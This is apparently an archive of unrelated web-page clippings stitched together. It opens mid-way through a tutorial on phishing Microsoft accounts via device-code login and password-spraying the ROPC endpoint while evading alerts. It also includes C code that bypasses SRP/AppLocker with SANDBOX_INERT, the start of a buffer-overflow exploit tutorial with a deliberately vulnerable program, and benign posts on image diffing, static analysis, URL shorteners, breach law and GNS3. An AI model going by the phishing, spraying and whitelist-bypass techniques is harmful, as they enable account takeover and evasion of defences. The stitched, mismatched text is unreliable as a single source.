The response would look like this:

<img src='img/Berner4-768x153.png' width='835' height='166' />

After this step, for offensive uses, you would provide the lure to your target
with a pretext that would make sense for them to enter code into
https://microsoft.com/devicelogin. After sending out the lure, you need to
poll Microsoft to determine if the user has authenticated you. That post looks
like this:

<img src='img/Berner5-768x241.png' width='835' height='261' />

You will receive a response like this:

<img src='img/Berner6-768x160.png' width='835' height='174' />

But if the user has authenticated as they were instructed, you will see this:

<img src='img/Berner7-768x491.png' width='835' height='534' />

On the victim’s end, this attack would look like this:

<img src='img/Berner8-768x520.png' width='835' height='565' />

<img src='img/Berner9-768x643.png' width='835' height='699' />

After the victim enters their credentials, they would receive the following
screen:

<img src='img/Berner10-768x542.png' width='835' height='588' />

So, with this flow, you may notice several appealing aspects. You don’t have
to leverage any of your own infrastructure for this attack, which means a lot
less headache and preparation. The pages presented by Microsoft also only
include the name of your custom Azure application, which may make it easier to
fool a target. Also, you get a refresh\_token, which means if the user’s
password changes, you can still access the provisioned services by requesting
an access\_token with your refresh\_token \(covered in next blog post\).
Additionally, if the victim uses multi-factor authentication \(MFA\), it’s
built into this process, and going forward using the tokens doesn’t require a
second factor. This is all great, but there is one huge downside to this flow
– the code that the user enters to authenticate with Microsoft expires in 15
minutes. So, what if we wanted to work around that? For that, let’s explore
one more flow, before we get into using our wonderful tokens.

# Microsoft Resource Owner Password Credentials

As I was looking through the documentation on grant flows, I came across this:

<img src='img/Berner11-768x331.png' width='835' height='360' />

The warning above means that this method will be useful. If we were trying to
set up a social engineering scenario, we could use this flow, but it only
requires a password, so we can do much more with it. As it turns out, this
endpoint is ripe for several attacks. First, you can simply password spray it.
Just make sure that you build some tooling that makes each request come from a
different IP address. Also, ensure that you randomize if you are spraying an
organization’s user list – if you spray in alphabetical order, it may generate
an alert. It also turns out that the responses from this endpoint allow for
user enumeration, which is well known and utilized by many public tools
already. Aside from all that, let’s move down our original scenario of social
engineering. It helps to start with a visualization of this flow:

<img src='img/Berner12-768x297.png' width='835' height='323' />

Notice that in many places where you see tenant in the URL, you can either put
the tenant object ID or you can attempt authentication to endpoints where you
put ‘common’ or ‘organization’ in that place instead. This is a good time to
talk about some other benefits of attacking via OAuth. If an organization has
implemented multi-factor authentication \(MFA\), most flows will require the
second factor. By default, there are several Client\_IDs that will allow ROPC
\(Resource Owner Password Credentials\). An example worth noting are the Azure
AD PowerShell cmdlets. These are also very handy for an incredible amount of
enumeration. Authentication along these lines is sometimes referred to as
‘legacy authentication,’ see here for more details. Additionally, any
organization that has Microsoft 365 in any capacity has many endpoints opened
by default, regardless of services enabled. This configuration has surprised
many organizations. Lastly, it is important to state that I have not compiled
a list of all known Client\_IDs, but I do know that an attacker can
occasionally find ways around conditional access policies if they keep trying
combinations of Client\_IDs and grant flow types. In the next blog, we will
cover how to leverage these tokens.

# Perceptual Image Difference Utility

**Created:**| _9/8/2011 11:33:16 AM_  
---|---  
**Updated:**| _9/8/2011 11:33:16 AM_  
**Author:**| __  
**Tags:**| _research bin-diffing_  
  

# Perceptual Image Diff

## Introduction

PerceptualDiff is an image comparison utility that makes use of a
computational model of the human visual system to compare two images.

This software is released under the GNU General Public License.

## Contributors

  * Hector Yee for initial code and perceptual metric
  * Scott Corley for PNG file reading
  * Tobias Sauerwein for Fedora Linux RPM
  * Jeff Breidenbach for Debian Packaging
  * Chris Foster for admin and patching 
  * Jim Tilander for converting the IO to FreeImage

## Why? I can look at the images myself

So why would I use a program to tell me if two images are similar if I can
tell the difference myself by eyeballing it?

Well the utility of this program really shines in the context of QA of
rendering algorithms.

During regression testing of a renderer, hundreds of images are generated from
an older version of the renderer and are compared

with a newer version of the renderer. This program drastically reduces the
number of false positives \(failures that are not actually failures\)

caused by differences in random number generation, OS or machine architecture
differences. Also, you do not

want a human looking at hundreds of images when you can get the computer to do
it for you nightly on a cron job.  
  

## Theory

The relevant theory behind the image metric can be found in the following
resources:

  * ACM TOG Paper
  * Siggraph 2004 Sketch
  * A Perceptual Metric for Production Testing \(JGT 2004 Paper\)
  * Sourceforge Project Page

## Download Source or Precompiled binaries

The source code and OSX, Windows binaries are available for download. Note:
earlier builds were named pdiff but due to naming conflict newer builds are
named ‘PerceptualDiff’

## Build Instructions

This project makes use of the Cross Platform Make Utility , and the FreeImage
library. You will also need Subversion to obtain the source.

1\. Obtain the source from sourceforge: svn co
https://pdiff.svn.sourceforge.net/svnroot/pdiff pdiff  
2\. Edit CMakeLists.txt as necessary to point to libtiff  
3\. Type cmake .  
4\. Type make .  
5\. PerceptualDiff should be compiled for your target system

## Usage

PerceptualDiff image1.tif image2.tif \[options\]

  * -verbose : Turns on verbose mode
  * -fov : field of view,indicates how much of the observer's view the screen occupies, expressed in degrees; typically this is between 10 and 85. The front row of a theater has a field of view of around 85 degrees. The middle row has a field of view of around 50 degrees. The back row has a field of view of around 27 degrees. Pick a value that matches the strictness requirements of your test; for example, if it is important to fail on the slightest noticeable error, use -fov 85. 
  * -threshold p : Sets the number of pixels, p, to reject. For example if p is 100, then the test fails if 100 or more pixels are perceptably different. 
  * -gamma g : The gamma to use to convert to RGB linear space. Default is 2.2 
  * -luminance l: The luminance of the display the observer is seeing. Default is 100 candela per meter squared 

## How to Contribute

  * Volunteer to write code fragments like image importers \(currently we support tiff and png\)
  * Volunteer to build and release for Linux or other operating systems
  * Donate to the project <img src='img/Temp2_6201' width='88' height='32' alt='Support This Project' />

## Acknowledgements

  * Matthias Baas and Aqsis developers for beta testing the software

# The Evolution of Static Code Analysis | >kloctalk
**Created:**| _5/17/2011 7:24:05 PM_  
---|---  
**Updated:**| _5/17/2011 7:24:05 PM_  
**Author:**| __  
**Tags:**| _analysis static_  
  

## The Evolution of Static Code Analysis – Part 1: The Early Years

May 17th, 2011 by Todd Landry

Our marketing people here at Klocwork like to see me racking up frequent flyer
miles and expending CO2 at roadshows, conferences and tradeshows. Whenever I’m
out speaking, I always like to gauge audience familiarity with Static Code
Analysis.

I’m happy to say that SCA knowledge has definitely increased over the years,
but it is still not up to levels enjoyed by unit testing or integration
testing.

What I plan to do over the next three weeks is to provide you with a history
lesson on how Static Code Analysis has evolved over the past few decades
\(yes, it has been around that long\!\). The three different eras I will be
addressing are The Early Years, The Early 21st Century, and The Present Day.

**_The Early Years_**

As I mentioned earlier, Static Code Analysis has actually been around since
the time of bell bottoms, disco music, and Space Invaders \(check out the
Space Invaders link\)–yes, the good ole 1970s. Who out there has heard of Lint
\(and no, I’m not talking about the fluff coming from your old bell bottoms
pockets\)?

<img src='img/space-invaders-videogame-173x300.jpg' width='173' height='300'
/>

Lint was one of these first-generation SCA tools introduced in the late 70s.
These tools targeted low hanging fruit in C code, such as missing or extra
semi-colons, missing curlicues, potentially dangerous implicit casts, and so
on.

These tools were closely integrated with the compile and link process, and so
this _seemed_ like the best time to show its errors and warnings, while the
developer was actually “in process” and fixing problems found by the compiler.
Since these tools delivered its warnings at compile time, it quickly became a
tool that was adopted and owned by the developers themselves.

Life was good. Well, until the bugs that were being found were deemed to be
relatively trivial or completely erroneous \(the dreaded false positive\). The
problem was that these tools were only able to see one file at a time, but for
accurate static analysis there is a strong need to know everything that’s
going on within the entire stream.

Without that vision of the entire stream, no matter how sophisticated the
analysis tools are, they will make incorrect assumptions most of the time.
Because of these inaccuracies, these first-generation tools never gained the
widespread acceptance of software developers.

Next up will be a look at static analysis tools during a time when
“Whassssuuuupp” became a household term.

  * <img src='img/services-sprite.gif' alt='email' />
  * <img src='img/services-sprite.gif' alt='Twitter' />
  * <img src='img/services-sprite.gif' alt='LinkedIn' />
  * <img src='img/services-sprite.gif' alt='Reddit' />
  * <img src='img/services-sprite.gif' alt='DZone' />
  * <img src='img/services-sprite.gif' alt='Digg' />
  * <img src='img/services-sprite.gif' alt='Slashdot' />
  * <img src='img/services-sprite.gif' alt='del.icio.us' />
  * <img src='img/services-sprite.gif' alt='Technorati' />

# Extended Subset » Blog Archive » More on OpenBSD IPsec

**Created:**| _1/17/2011 9:33:11 PM_  
---|---  
**Updated:**| _1/17/2011 9:33:26 PM_  
**Author:**| __  
**Tags:**| _BSD opinion new?_  
  

## More on OpenBSD IPsec

A little more on OpenBSD’s IPsec.

Theo confirms that Gregory Perry did work at NETSEC and that Jason Wright and
Angelos Keromytis were funded by NETSEC as well. Theo says he wasn’t aware at
the time that NETSEC was involved in backdoor or wiretapping projects.

Mickey, an OpenBSD developer from that time period has published a rambling
memoir entitled  _how I stopped worrying and loved the backdoor_ \(A reference
to the film Dr. Strangelove\) in which he confirms that both Jason and Angelos
were funded by netsec. He also makes the point that this served to fund
OpenBSD and Theo indirectly as well. Many of his claims are verifiable by
looking at the OpenBSD CVS commit history and honestly I’d noticed some of it
myself and thought it was odd. He describes encounters with agents of various
TLAs.

Probably the most straightforward interpretation of Mickey’s story simply
confirms what we already knew: funny stuff was going on in the source tree at
that time and people crossing international borders sometimes receive some
heavy arm-twisting by the US government, even if they are American citizens
such as Jacob Appelbaum andMoxie Marlinspike. It’s not hard to imagine that
pressure being applied to someone seeking to continue working or studying in
the US.

I was planning to let this particular dog lie \(well, at least until I had a
working exploit :-\), but suddenly a New York Times article drops a clue which
adds another unbelievable twist to the plot. They report that it was a joint
US-Israeli hacking effort which developed theStuxnet attack on Iran’s uranium
enrichment centrifuges. \(For all the hyperbole surrounding Stuxnet, everyone
agrees it is the most effective and sophisticated targeted attack on a
nation’s specific industrial process.\) For its part, it was the US’s Idaho
National Laboratory which provided significant background research into the
security properties of Siemens industrial control “SCADA” systems like the
ones which run Iran’s centrifuges. The INL slide deck really says it all, with
diagrams and photos of US government security researchers testing out attack
models against racks of Siemens gear of the same sort used in Iran.

But I’d remembered seeing Idaho National Laboratory once before - in Jason
Wright’s CV. He’d written a paper for the U.S.  _Department of Homeland
Security National Cyber Security Division, Control Systems Security Program_
entitled  _Recommended Practice for Securing Control System Modems_. This was
in January 2008, about the time the Stuxnet project is believed to have gotten
going. In 2009, he published Time Synchronization in Heirarchical TESLA
Wireless Sensor Networks pdf at a conference on  _Resilient Control Systems_.

When speaking at SecTor, a data security conference in Canada, Jason’s bio
describes him as:

> Jason Wright is a cyber security researcher at the Idaho National Laboratory
> working with SCADA and Process Control system vendors to secure critical
> infrastructure assets. He is also a semi-retired OpenBSD developer \(also
> known as a “slacker”\) responsible for many device drivers and layer 2
> pieces of kernel code.
So we know Jason Wright was hacking on OpenBSD IPsec crypto code at the time
the backdoor was alleged to have been added, and that he was pentesting
Siemens SCADA systems at the time Stuxnet was being constructed and at the
very same national nuclear research lab identified by the New York Times.

This guy sure seems to have a talent for coincidences.

  

# Grasswire Engineering — A URL shortener service in 45 lines of Scala

**Created:**| _8/24/2014 8:15:57 PM_  
---|---  
**Updated:**| _8/24/2014 8:15:57 PM_  
**Author:**| __  
**Tags:**| _scala_  
  

# Grasswire Engineering

Welcome to the Grasswire Engineering blog, where we share some thoughts on the
tech that powers Grasswire.

## A URL shortener service in 45 lines of Scala

We’re thinking about creating a URL shortener service to make it easier to
share Grasswire links across the web. Here’s a rough proof-of-concept that
implements the basic functionality in 45 lines of code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | 
[/code]

[code]

package com.grasswire.grasswireurlshortener import
akka.actor.ActorSystemimport com.typesafe.config.ConfigFactoryimport
org.apache.commons.validator.routines.UrlValidatorimport
spray.http.StatusCodesimport spray.routing.\_import scala.util.Randomimport
scalaz.concurrent.\_ object GrasswireUrlShortener extends App with
SimpleRoutingApp \{ implicit val system = ActorSystem\("grasswire-url-
shortener"\) implicit val redis = scredis.Redis\(ConfigFactory.load\(\),
"redis"\) startServer\("0.0.0.0", 8080\) \{ path\(Rest\) \{ r => get \{
redirectShortUrl\(r\) \} ~ post \{ createShortUrl\(r\) \} \} \} def
redirectShortUrl\(path: String\)\(implicit redis: scredis.Redis\) = \(ctx:
RequestContext\) => \{ Future.now \{
redis.withClient\(\_.get\[String\]\(path\)\)
\}.runAsync\(\_.map\(ctx.redirect\(\_, StatusCodes.MovedPermanently\)\)
.getOrElse\(ctx.complete\(StatusCodes.NotFound\)\)\) \} def
createShortUrl\(path: String\)\(implicit redis: scredis.Redis\) = \(ctx:
RequestContext\) => \{ Task \{ val validator = new
UrlValidator\(List\("http","https"\).toArray\) if\(validator.isValid\(path\)\)
\{ val random = Random.alphanumeric.take\(7\).mkString
redis.withClient\(\_.set\(random, path\)\) random \} else \{ throw new
Exception\("The supplied url is invalid."\) \} \}.runAsync\(\_.fold\(l =>
ctx.reject\(ValidationRejection\("Invalid url provided", Some\(l\)\)\), r =>
ctx.complete\(s"http://mydomain.com/$r"\)\)\) \}\}  
---|---  
view raw GrasswireUrlShortener.scala hosted with ❤ by GitHub

To create a short link, we generate a random String and use Redis to store the
original url with our random String as the key. When a GET request is issued
to the shortened url, we retrieve the original url from Redis. If such a value
exists, we redirect, otherwise we respond with a Not Found status.

_— Levi Notik, CTO/Co-founder at Grasswire_

  * 2 notes
  * Aug 7th, 2014

  * 
  *   * 

  1. <img src='img/Temp2_3526.png' />dallas likes this
  2. <img src='img/Temp2_3525.png' />stelabouras likes this
  3. <img src='img/Temp2_3524.png' />grasswire-engineering posted this

# Common Misconceptions About Machine Learning in Cybersecurity

**Created:**| _5/17/2016 5:43:57 PM_  
---|---  
**Updated:**| _5/17/2016 5:43:57 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Common Misconceptions About Machine Learning in Cybersecurity

Dr. Sven Krasser and Dmitri Alperovitch

MAY 16, 2016 6:30am ET

Machine learning has never been more accessible than it is right now. Amazon
utilizes it to uncover shopping habits and Netflix uses it to propose
personalized movie selections. Many tech giants, both in the consumer and the
business-facing arena, are using machine learning to build intelligent
processes that can solve everything from creating more targeted search engine
results to bigger challenges like climate change and cancer diagnostics.

Leaders in the cybersecurity space are utilizing machine learning in a similar
fashion. While there is a lot of buzz in the marketplace about the potential
of the approach to solve persistent issues like silent failure and false
positives, there are many misconceptions about how the technology is being
applied in the field.

**Algorithms are Not Panacea**

The value that machine learning can bring to the table largely depends on the
data available to feed into it. Machine learning cannot create knowledge, it
can only extract it. The scope and size of data are most critical for
effective machine learning.

For example, solutions that only analyze file contents easily fall prey to
obfuscation techniques and will miss breaches that are purely exploitation-
based and do not involve malware. Similarly, solutions that only consider
behaviors observed on a single host or in a single sandbox are at a
disadvantage to solutions that analyze behaviors in the cloud at large scale
from a vast array of deployments.

With sufficient quality data available, machine learning techniques easily
outperform traditional signature-based or indicator of compromise \(IoC\)
based approaches, which retroactively seek out the artifacts an attacker
leaves during a breach. In contrast, machine learning can drive the creation
of indicators of attack \(IoA\), which instead can identify active attacks and
look for the effects of what an adversary is looking to accomplish. Attackers
can easily change artifacts. They cannot easily change their objectives. The
more varied input sources feed into machine learning, the more accurate IoAs
can be generated.

This does not imply that one should only consider machine learning to find
threats. Machine learning is an important tool in the arsenal, but not all
classes of problems are solved by it. For example, on a Windows system there
exist only a limited number of ways an attacker can get access to user
credentials. All the routes open to an attacker can be expressed using IoAs by
skilled experts without the need to sift through petabytes of data.

**Speed and Scale Matter**

In order to analyze, swiftly and accurately, billions of events in real-time,
machine learning models require a level of computational power and scalability
that cannot be accomplished using old-school on-premise architecture and
conventional database methods. Cloud-based architectures can significantly
augment the efficacy of machine learning. Algorithms can be infused with the
collective knowledge of a crowdsourced community where threat intelligence is
aggregated and updated instantly.

Identified attacks can then be turned into a new detection and learned by the
algorithm, and shared with others within the cloud network to prevent the
attack – sending the bad actors back to the drawing board.

In security today, one of the particularly challenging areas to address is
combating malware-free intrusions. According to an industry study, over 60% of
intrusions don’t actually involve any malware, but instead leverage stolen
credentials and ‘living-off-the-land’ techniques like use of powershell and
legitimate Windows tools. This is why using behavioral-based detection and
machine learning prevention mechanisms is key for blocking such attacks, as
well as new never-before seen malware, ransomware variants or sophisticated
exploits.

Utilizing machine learning to solve cybersecurity problems is only one of the
truly promising developments in our field over the last few years. It enables
us to scale the knowledge of skilled human analysts to large data sizes and to
increase the scope of analysis to levels of complexity beyond human cognition.
But as long as humans are behind cyberattacks, there will be humans working to
protect networks -- using machine learning as a tool to work with more data at
more breadth.

If applied correctly, machine learning can dramatically augment an
organization’s ability to fight off sophisticated cyber attacks while deriving
more value out of security data and threat intelligence.

_\(About the authors: Dr. Sven Krasser currently serves as Chief Scientist at
CrowdStrike where he leads the machine learning efforts utilizing
CrowdStrike’s Big Data platform. He has authored numerous peer-reviewed
publications and is co-inventor on more than two dozen patented network and
host security technologies.Dmitri Alperovitch is the co-founder and CTO of
CrowdStrike, leading its intelligence, technology and CrowdStrike labs teams.
With more than a decade of experience in the field of information security,
Alperovitch is an inventor of twenty six patented technologies and has
conducted extensive research on various topics across the information security
landscape.\)_

  

# Data Breach 101, Part I: Data Breach Notification Laws | Minding Your Business
**Created:**| _5/20/2017 8:55:51 PM_  
---|---  
**Updated:**| _5/20/2017 8:55:51 PM_  
**Author:**| __  
**Tags:**| _privacy_  
  

  

Home > Privacy & Data Security > Data Breach 101, Part I: Data Breach
Notification Laws

# Data Breach 101, Part I: Data Breach Notification Laws

<img src='img/12189.thumbnail.jpg' width='80' height='80' alt='Courtney M.
Bowman' />By Courtney M. Bowman on March 16, 2017 Posted in Commercial
Litigation, Privacy & Data Security

In 2017, there are few words that make companies – and their counsel – shudder
more than “data breach.” Recent high-profile breaches and the resulting
litigation have shown that breaches can be embarrassing, harmful to a
company’s brand, and extremely expensive to handle – both in terms of response
costs and, potentially, damages paid to the affected individuals, third
parties, and regulators. As headline-grabbing security incidents increasingly
become a fact of life, litigators need to develop familiarity with the issues
associated with data breaches so they can be prepared to walk their clients
through the aftermath. This is the first in a series of blog posts about what
commercial litigators need to know about data breaches.

When a client first receives word of a data breach, it may be overwhelmed with
important to-dos: it must stop the security breach as soon as possible, repair
or otherwise address any vulnerability that led to the incident, quickly
ascertain what information was compromised, and notify affected data subjects
as soon as possible. Almost all US jurisdictions have their own laws relating
to data breach notification, and – in the case of a large-scale, multi-
jurisdictional breach where multiple breach notification laws are in play –
figuring out what is required of the client may be a daunting and time-
consuming task.

Forty-seven of the fifty US states, as well as Washington, D.C., Guam, Puerto
Rico, and the Virgin Islands have statutes requiring businesses or
governmental entities to notify individuals whose personal information has
been compromised in a security incident. \(Only Alabama, New Mexico, and South
Dakota have not enacted breach notification laws.\) The laws vary as to how
they define personal information, when affected individuals must be notified,
what that notification must contain \(or not contain\), what form the
notification must take, and whether or not they grant a private right of
action to individuals when a company does not comply with the notification
law. For example:

  * Some jurisdictions set out a specific period of time in which affected individuals must be informed of the breach. Florida, for example, requires that disclosure be made to individuals affected by the breach no later than 30 days from the date of “the determination of a breach or reason to believe a breach occurred.” Others aren’t as specific but still emphasize expeditiousness: New York requires companies that have suffered a breach to notify New York residents affected “without unreasonable delay,” subject to certain exceptions.
  * Sometimes state agencies and other governmental entities must be notified of a breach, and in some cases within short time frames. For example, Puerto Rico requires companies that have suffered data breaches to notify the Department of Consumer Affairs within 10 days of learning about the breach \(a fairly quick turnaround time given all that must be accomplished in the days immediately following a breach\). New Jersey requires companies to notify the state police.
  * California law mandates that the notification be named “Notice of Data Breach” and present certain required information \(such as the date of the breach, description of the incident, whether the breach exposed social security numbers\) under prescribed headings. Massachusetts law, meanwhile, states that notices may _not_ include information about the nature of the breach or the number of Massachusetts residents affected.

While the summary above provides a brief overview of some notable laws, it is
important to determine where data breach victims reside in order to identify
the relevant requirements in each case.

Lawyers must also consult the data breach laws of other countries if the
breach affects individuals living outside the United States. The European
Union has a patchwork of data breach notification laws that vary among member
states, but this will change with the introduction of the General Data
Protection Regulation in May 2018. This new regulation will harmonize data
breach notification law across the EU and require that controllers suffering a
breach notify the appropriate national supervisory authority within 72 hours
of learning of the breach and affected individuals “without undue delay.”
Countries outside the EU have laws of their own: Australia, for example, just
passed a breach notification law last month.

A client understandably may be daunted by all the work that must be done in
the wake of a data breach and may be especially absorbed by figuring out the
cause of the breach and whether the incident has stopped or is ongoing. A
lawyer who is aware of the differing notification requirements therefore can
serve as a valuable asset by helping shepherd the client through the process
and preventing the client from further compounding any legal issues that may
result from the breach.

Please check back for future posts in this series, all of which will be aimed
at helping litigators enhance their data breach expertise.

Tags: Data Breach 101, Data Breach Notification Laws, General Data Protection
Regulation, Notice of Data Breach, State Privacy Laws

Print | Share 
__ Print

Tweet Like Email LinkedIn Google Plus

  

# Circumventing SRP and AppLocker to Create a New Process, By Design « Didier
Stevens

**Created:**| _1/29/2011 11:36:49 AM_  
---|---  
**Updated:**| _1/29/2011 11:37:01 AM_  
**Author:**| __  
**Tags:**| _attacks windows environment_  
  

### Circumventing SRP and AppLocker to Create a New Process, By Design

Filed under: Vulnerabilities — Didier Stevens @ 0:00  

There’s an interesting comment on my Circumventing SRP and AppLocker, By
Design post.

In my previous post, I showed a feature to circumvent SRP and AppLocker
validation when a DLL is loaded.

The anonymous commenter points out a feature to create a new process, while
circumventing SRP and AppLocker. Flag SANDBOX\_INERT in function
CreateRestrictedToken allows you to do this.

Per MSDN:

_If this value is used, the system does not check AppLocker rules or apply
Software Restriction Policies. For AppLocker, this flag disables checks for
all four rule collections: Executable, Windows Installer, Script, and DLL._

_When creating a setup program that must run extracted DLLs during
installation, use the flag SAFER\_TOKEN\_MAKE\_INERT in the
SaferComputeTokenFromLevel function._

I wrote a small program to test this:

`01` | `HANDLE` `hToken;`  
---|---  
`02` | `HANDLE` `hNewToken;`  
---|---  
`03` | `PROCESS_INFORMATION sPI;`  
---|---  
`04` | `STARTUPINFO sSI;`  
---|---  
`05` |   
---|---  
`06` | `if` `(OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))`  
---|---  
`07` | `{`  
---|---  
`08` | ` ``if` `(CreateRestrictedToken(hToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &hNewToken))`  
---|---  
`09` | ` ``{`  
---|---  
`10` | ` ``memset``(&sSI, 0, ``sizeof``(sSI));`  
---|---  
`11` | ` ``sSI.cb = ``sizeof``(sSI);`  
---|---  
`12` | ` ``if` `(CreateProcessAsUser(hNewToken, L``"c:\\test\\Dialog42.exe"``, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sSI, &sPI))`  
---|---  
`13` | ` ``{`  
---|---  
`14` | ` ``puts``(``"process created"``);`  
---|---  
`15` | ` ``}`  
---|---  
`16` | `}`  
---|---  
This program starts another program, Dialog42.exe. I’ve configured SRP with a
whitelist, Dialog42.exe is not whitelisted:

<img src='img/Temp2_1463.png' width='616' height='162' />

But when I use my program with the SANDBOX\_INERT flag to start Dialog42.exe,
it is allowed to run:

<img src='img/Temp2_1462.png' width='277' height='194' />

  

# BrainBump.net >>> GNS3: How to run multi-pc topology using distributed hypervisors | CCIE Quest
**Created:**| _6/23/2009 5:26:33 AM_  
---|---  
**Updated:**| _6/23/2009 5:26:45 AM_  
**Author:**| __  
**Tags:**| _virtusalisation Tutorials_  
  

## How to run multi-pc topology using distributed hypervisors in GNS3

Posted by Tariq Ahmad under GNS3 , GNS3 video tutorials  

<img src='img/Temp2_1128.gif' alt='Email This Post' />

This tutorial will walk you through the process of settting up a distributed
GNS3 topology where you can use different external hypervisor engines and run
GNS3 topology in much easier and smoother fashion.This helps you utilize
resources at hand in an efficient manner by distributing processor load across
multiple hardware platforms. Most people use **WindowsXP / Windows Vista** on
their laptop machines. However, for GNS3 and dynagen to perform at their peak,
i would recommmend you to use a flavour of Linux which speeds up things to
greater extent.

I will be using **Ubtuntu 8.04 \(Hardy Haron\)** as Linux Power Horse .I have
a 64-bit Intel Machine with Quad Core 2+ Ghz processor coupled with 8Gigs of
physical RAM at my disposal. This helps me run full CCIE topology on One
machine \(using 10+routers \) , multiple vmware instances while conserving
resources at my relatively low-end Windows laptop . If you have multiple pc’s
, you can add all of them into one GNS3 topology using distributed approach as
shown in this tutorial. This will ease-up burden on single pc and make your
labs run faster and better.

For additional help and information , refer to following links/tutorials:

  * Communicating b/w local and remote hypervisors by msimone
  * GNS3 tutorial at sourceforge.net by Mike Fuszner
  * Installing GNS3 in Linux by Josh

# Writing buffer overflow exploits - a tutorial for beginners

**Created:**| _6/1/2011 11:27:47 AM_  
---|---  
**Updated:**| _6/1/2011 11:27:47 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials bughunting_  
  
Writing buffer overflow exploits - a tutorial for beginners  

by Mixter  
http://mixter.void.ru or http://mixter.warrior2k.com  

Buffer overflows in user input dependent buffers have become one of the
biggest security hazards on the internet and to modern computing in general.
This is because such an error can easily be made at programming level, and
while invisible for the user who does not understand or cannot acquire the
source code, many of those errors are easy to exploit. This paper makes an
attempt to teach the novice - average C programmer how an overflow condition
can be proven to be exploitable. - Mixter

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 1\. Memory

Note: The way I describe it here, memory for a process is organized on most
computers, however it depends on the type of processor architecture. This
example is for x86 and also roughly applies to sparc.

The principle of exploiting a buffer overflow is to overwrite parts of memory
which aren't supposed to be overwritten by arbitrary input and making the
process execute this code. To see how and where an overflow takes place, lets
take a look at how memory is organized. A page is a part of memory that uses
its own relative addressing, meaning the kernel allocates initial memory for
the process, which it can then access without having to know where the memory
is physically located in RAM. The processes memory consists of three sections:

  * \- code segment, data in this segment are assembler instructions that the processor executes. The code execution is non-linear, it can skip code, jump, and call functions on certain conditions. Therefore, we have a pointer called EIP, or instruction pointer. The address where EIP points to always contains the code that will be executed next.

  * \- data segment, space for variables and dynamic buffers

  * \- stack segment, which is used to pass data \(arguments\) to functions and as a space for variables of functions. The bottom \(start\) of the stack usually resides at the very end of the virtual memory of a page, and grows down. The assembler command PUSHL will add to the top of the stack, and POPL will remove one item from the top of the stack and put it in a register. For accessing the stack memory directly, there is the stack pointer ESP that points at the top \(lowest memory address\) of the stack.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 2\. Functions

A function is a piece of code in the code segment, that is called, performs a
task, and then returns to the previous thread of execution. Optionally,
arguments can be passed to a function. In assembler, it usually looks like
this \(very simple example, just to get the idea\):

[code]

    memory address              code
    0x8054321   pushl $0x0
    0x8054322               call $0x80543a0 
    0x8054327               ret
    0x8054328               leave
    ...
    0x80543a0     popl %eax
    0x80543a1               addl $0x1337,%eax
    0x80543a4               ret
    
[/code]

What happens here? The main function calls function\(0\);

The variable is 0, main pushes it onto the stack, and calls the function. The
function gets the variable from the stack using popl. After finishing, it
returns to 0x8054327. Commonly, the main function would always push register
EBP on the stack, which the function stores, and restores after finishing.
This is the frame pointer concept, that allows the function to use own offsets
for addressing, which is mostly uninteresting while dealing with exploits,
because the function will not return to the original execution thread anyways.
:-\)

We just have to know what the stack looks like. At the top, we have the
internal buffers and variables of the function. After this, there is the saved
EBP register \(32 bit, which is 4 bytes\), and then the return address, which
is again 4 bytes. Further down, there are the arguments passed to the
function, which are uninteresting to us.

In this case, our return address is 0x8054327. It is automatically stored on
the stack when the function is called. This return address can be overwritten,
and changed to point to any point in memory, if there is an overflow somewhere
in the code.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 3\. Example of an exploitable program

Lets assume that we exploit a function like this:

[code]

    void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
    main() { lame (); return 0; }
    
    Compile and disassemble it:
    # cc -ggdb blah.c -o blah
    /tmp/cca017401.o: In function `lame':
    /root/blah.c:1: the `gets' function is dangerous and should not be used.
    # gdb blah
    /* short explanation: gdb, the GNU debugger is used here to read the
       binary file and disassemble it (translate bytes to assembler code) */
    (gdb) disas main
    Dump of assembler code for function main:
    0x80484c8 :       pushl  %ebp
    0x80484c9 :     movl   %esp,%ebp
    0x80484cb :     call   0x80484a0 
    0x80484d0 :     leave
    0x80484d1 :     ret
    
    (gdb) disas lame
    Dump of assembler code for function lame:
    /* saving the frame pointer onto the stack right before the ret address */
    0x80484a0 :       pushl  %ebp
    0x80484a1 :     movl   %esp,%ebp
    /* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
       memory is allocated 4byte-wise (because the processor uses 32bit words)
       this is the equivalent to: char small[30]; */
    0x80484a3 :     subl   $0x20,%esp
    /* load a pointer to small[30] (the space on the stack, which is located
       at virtual address 0xffffffe0(%ebp)) on the stack, and call
       the gets function: gets(small); */
    0x80484a6 :     leal   0xffffffe0(%ebp),%eax
    0x80484a9 :     pushl  %eax
    0x80484aa :    call   0x80483ec 
    0x80484af :    addl   $0x4,%esp
    /* load the address of small and the address of "%s\n" string on stack
       and call the print function: printf("%s\n", small); */
    0x80484b2 :    leal   0xffffffe0(%ebp),%eax
    0x80484b5 :    pushl  %eax
    0x80484b6 :    pushl  $0x804852c
    0x80484bb :    call   0x80483dc 
    0x80484c0 :    addl   $0x8,%esp
    /* get the return address, 0x80484d0, from stack and return to that address.
       you don't see that explicitly here because it is done by the CPU as 'ret' */
    0x80484c3 :    leave
    0x80484c4 :    ret
    End of assembler dump.
    
    3a. Overflowing the program
    # ./blah
